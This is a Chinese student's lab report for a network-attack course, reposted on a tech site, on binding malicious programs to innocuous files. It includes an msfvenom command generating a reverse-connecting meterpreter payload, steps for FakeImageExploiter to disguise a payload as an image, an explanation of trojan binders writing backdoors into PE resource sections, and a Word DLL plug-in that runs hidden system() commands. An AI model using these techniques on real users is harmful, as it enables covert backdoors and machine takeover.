ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

20165212 任胤 《网络对抗》免考项目——恶意代码、恶意程序绑定

2019-06-24 22:42:05  阅读:340  来源: 互联网

标签:文件 word 免考 恶意代码 程序 dll 20165212 shellcode


恶意代码、恶意程序绑定实践

1 Shellcode的生成与分析

1.1 shellcode概念和获取手段

  • Shellcode是16进制的机器码,我的所有实验中shellcode来源于两个地方:一是kali中用msfvenom -p linux/meterpreter/shellreversetcp -b '\x00\x0a' LHOST=192.168.235.137 LPORT=5212 -f c 这种命令生成;另一种是来自https://www.exploit-db.com/shellcodes这个网站(db-exploit)。我个人更偏向于后者,因为此网站上放的shellcode都是测试过完好的,所以当适用这里的shellcode实验出不来结果时,可以将问题锁定到shellcode上。

shellcode如何达成目的——获取目标靶机shell

  • 简单的理解,shellcode的目的是让攻击者获取靶机的shell。
  • 假如你现在手里拿到了一段好的shellcode,下一步就是要考虑怎么去使用它。而我们现在比较肤浅,能使用它的途径就一个:通过缓冲区溢出让shellcode进入内存,而且是在没有堆栈保护的理想环境下了
  • 栈模型中,eip寄存器的作用是告诉cpu接下来去执行哪里的机器码,eip寄存器存的是一个内存地址。在我们做过的实验1中,pwn程序缓冲区后面跟着的就是eip寄存器。所以gdb找到shellcode在内存中的地址,然后通过给pwn程序输入超长的输入,让shellcode起始地址正好装到eip里,这样程序下一步就会跑去执行shellcode,目的达成。
  • 但要知道,这是理想环境。首先,没有地址随机化,使得gdb调试能找到eip位置和shellcode位置。其次,没有栈保护,正常情况系统会监视eip的变化,eip里或eip指的地方里的东西变了,shellcode就不会执行。
  •  

后门程序绑定

  • 这个实践内容建立在msf生成后门程序基础上

FakeImageExploiter

原理未知

  • 不过与其说FakeImageExploiter是捆绑软件,它更像是一个攻击平台——针对Linux(kali)中图片查看器的攻击。FakeImageExploiter是连着msf一起的,绑定图片之后直接运行回连,msf获得shell,所以很明显这个软件破解了图片查看器这个程序,在用户触发特定图片时,程序里的shellcode会启动。

使用过程

  • git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git安装FakeImageExploiter
    • 需要注意:这个软件需要环境,目前kali官网上的kali版本使用FakeImageExploiter会需要自己安装mingw32交叉编译器,而这个kali版本的源里是没有mingw32安装的,网络上广泛使用的kali源也没有。所以推荐使用低版本kali
  • 安装完成之后进入文件夹打开setting,选择隐藏在图片中的Payload格式,有ps1、bat、txt和exe四种格式可选,我选择PAYLOADEXETNSION=bat;在生成捆绑图片文件的替换图标icon选项中选择BYPASSRH=NO,非自动,需要手动更改和添加最终生成的图片图标icon。同样,在setting文件中找到以下两列进行按需修改: AUTOPAYLOADBUILD=YES (自动生成Payload选项) AGENTHANLERPORT=4444(植入恶意程序后的客户端监听端口)

  •  

  •  

  •  

  • ./FakeImageExploiter.sh启动,确认启动配置框架(点YES),选择第一个payload
  •  

  • 随后继续选择“捆绑”的图片和icon主题并命名
  •  

  • 当然,产生的东西是程序而不是图片文件。双击运行.bat.exe程序会弹出图片并反向连接msf
  •  

基于PE文件的捆绑机

  • 捆绑机在网上可以找到很多,甚至有CSDN用户写的捆绑机
  • PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件

功能

  • 捆绑机,顾名思义,作用就是将一个正常文件(txt、jpg、exe)和后门程序捆绑在一起,生成一个新“文件”,运行新“文件”的时候会同时启动木马程序

原理

捆绑机绑定的并不是文件和木马,而是打开文件的应用程序和木马,归根到底是两个程序的绑定 - 简单地描述原理:"组合"可以有多种形式,比如把EXE文件一个一个的加到文件末尾,或者以资源形式组合到一个EXE文件中,还有复杂一点的利用专用的安装打包工具组合(例如安装时捆绑的流氓软件).下面主要介绍最简单的第一种一个一个加的捆绑形式,也称为传统式捆绑机,,实际上是绑了木马的文件,关键的部分在于捆绑机生成新文件伪装的格式。可以把生成的新程序看做一个加载器,这个加载器的作用就是包容、释放、加载前面这两个程序员

  • 详细地描述:
    • PE文件结构如下图
    •  

    •  

    • 资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。这里就可以看做PE可选头部分
    • 现在,捆绑器程序复制了一份正常EXE到缓冲区,捆绑器程序首先判断判断是否PE文件。文件头两byte应为0x4d5a即("MZ"),然后到地址0x3c中读出PE文件头(IMAGENT_HEADERS 一个系统调用api)。判断文件头结构,就是上图中小框框的E0(即"PE\0\0")。
    • 然后,捆绑其程序用读取资源目录(IMAGERESOURCEDIRECTORY)和资源入口(IMAGERESOURCEDIRECTORY_ENTRY)进入PE可选区,(因为在使用捆绑器的时候已经选好了EXE程序和木马程序),然后用BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数把木马程序添进PE可选区。这三个API函数是用来做资源更新/替换用的,
    • 然后呢,捆绑器程序再在这里(资源区)写一段释放资源的代码,然后一个捆绑木马的EXE就生成了.
  • 概括的说,捆绑器程序使用一些API把木马写进了EXE程序的资源区。
  • https://www.dbgpro.com/archives/954.html这篇文章中的代码解释了再把木马写进去之后怎么对EXE进行伪装(也就是一个图片绑了木马后生成的不是JPG文件,而是屏幕保护程序这个EXE)
  • https://blog.csdn.net/stone5555/article/details/81953253这篇文章详细说明了上图中的结构体和如何找到、进入资源区的。找不自在可以看看。

使用过程

  • 使用方法过于简单,没什么好解释的
  • 下面是图片绑cmd程序,

  •  

  •  

  •  

  • 下面是cmd程序绑我自己的后门程序,假装是安装QQ

  •  

  •  

  •  

  •  

基于word dll插件恶意代码的研究

  • 纯手动实现恶意功能的一个实践,环境windowsXP+word2007+VC 6.0基于com编程实现Office的接口调用,在Word中嵌入恶意插件
  •  

插件实现原理

这个插件原本的功能是对word文本进行数字签名和验签,我在代码里面加入了恶意代码

插件实现过程

  • com编程生成dll动态库,里面封装的具体功能是c++实现的,恶意代码也正是添加在这一区域
  • dll库的功能写好了,结构也写好了,现在要插入word,也就是要让word认证这个dll,有两种方法简单介绍一下
    • 1.在word程序中选择加载这个dll库,如图
    •  

    • 2.在这个dll库内部有直接对注册表进行操作的功能,即在注册表中把这个dll库放到word下(这个实践使用的是这个方法),效果就是在VC里ctrl+f5直接打开word程序,word程序中含有这个恶意插件。

word程序保护机制

因为实践内容是基于dll库所以只介绍word对外部dll库的防御

文档的安全级别

  • 为了防止宏病毒,word程序中可以设置安全级别,可以在“工具→选项卡→安全性→宏选项卡”中进行设置。安全级别分为高、中、低。
    • 高:只运行来源可靠的宏。其他宏一律取消。(所谓可靠的宏就是经过了Microsoft数字签名的宏,模板,加载项都是一样)
    • 中:打开一个宏时,会出现一条警告消息
    • 低:不进行宏的保护,所有外来插件模板都可以直接用
  • 而word对所有加载进来dll文件没有防御措施,不会限制dll库的行为。意味着加载进了word的dll里的恶意代码可以为所欲为,访问硬盘、注册表、调用内存,为所欲为

  • 正是因为word对dll行为没有限制,所以我可以在dll中添加恶意代码

操作步骤

  • 有个系统调用叫system(),c和c++里可以直接用,我用这个api打开cmd窗口执,具体命令system("cmd /c, 你的命令行");,就这么简单的加进去就行了,build~(下面图的cmd关机命令格式有误,只会弹出cmd,而不会关机)
  •  

  • 这里插件的这个按钮的功能是签名,要先保存文件,对文件签名。关掉成功提示框之后,cmd就弹了出来
  •  

  •  

  • 下面是正确的关机指令。。。他关机了
  •  

  •  

  • 抓拍到的~
  •  

  • ^_^我就不花里胡哨地搞蓝屏删系统什么的了,反正cmd里面能干的坏事多着呢网上一搜一大堆,b站也有。

  • 说一下这个实践我遇到的几个困难
    • 1.搭环境。如果不是夏云霄的帮助我可能搭环境搭不好就没了
    • 2.对插件实现功能的理解。我是把恶意代码写在一个对文件hash的函数下面。是对文件hash,如果不事先保存文件就是在对内存里的东西hash...,word会崩掉。

总结体会

我的免考项目是从我自身兴趣出发,自己找课题自己去做。 起初我的预想是最终手动向一个文件里注入16进制的shellcode,但是做着做着,发现自己连图片查看器程序反出来汇编代码都看不懂,哈哈哈哈~ 我的理解是:所有的“往文件里注入恶意代码”其实都是想方设法去破解相应的文件查看器,往文件查看器程序里去注入恶意代码,现在看来,我的水平离“操作16进制shellcode”还差得远呢~除了最后一个实践,前面的实践我全部用的是我生成的后门程序exe。整个项目,能真正算上“恶意代码注入”的,应该之后最后一个往word dll里写system()了吧。走过很多弯路,浪费了很多时间,不过最后看着自己的word文档里,本来好好的点一个按钮电脑就关机了,也就觉着花掉的时间都值了哈哈哈~

标签:文件,word,免考,恶意代码,程序,dll,20165212,shellcode
来源: https://www.cnblogs.com/FenixRen/p/11079955.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有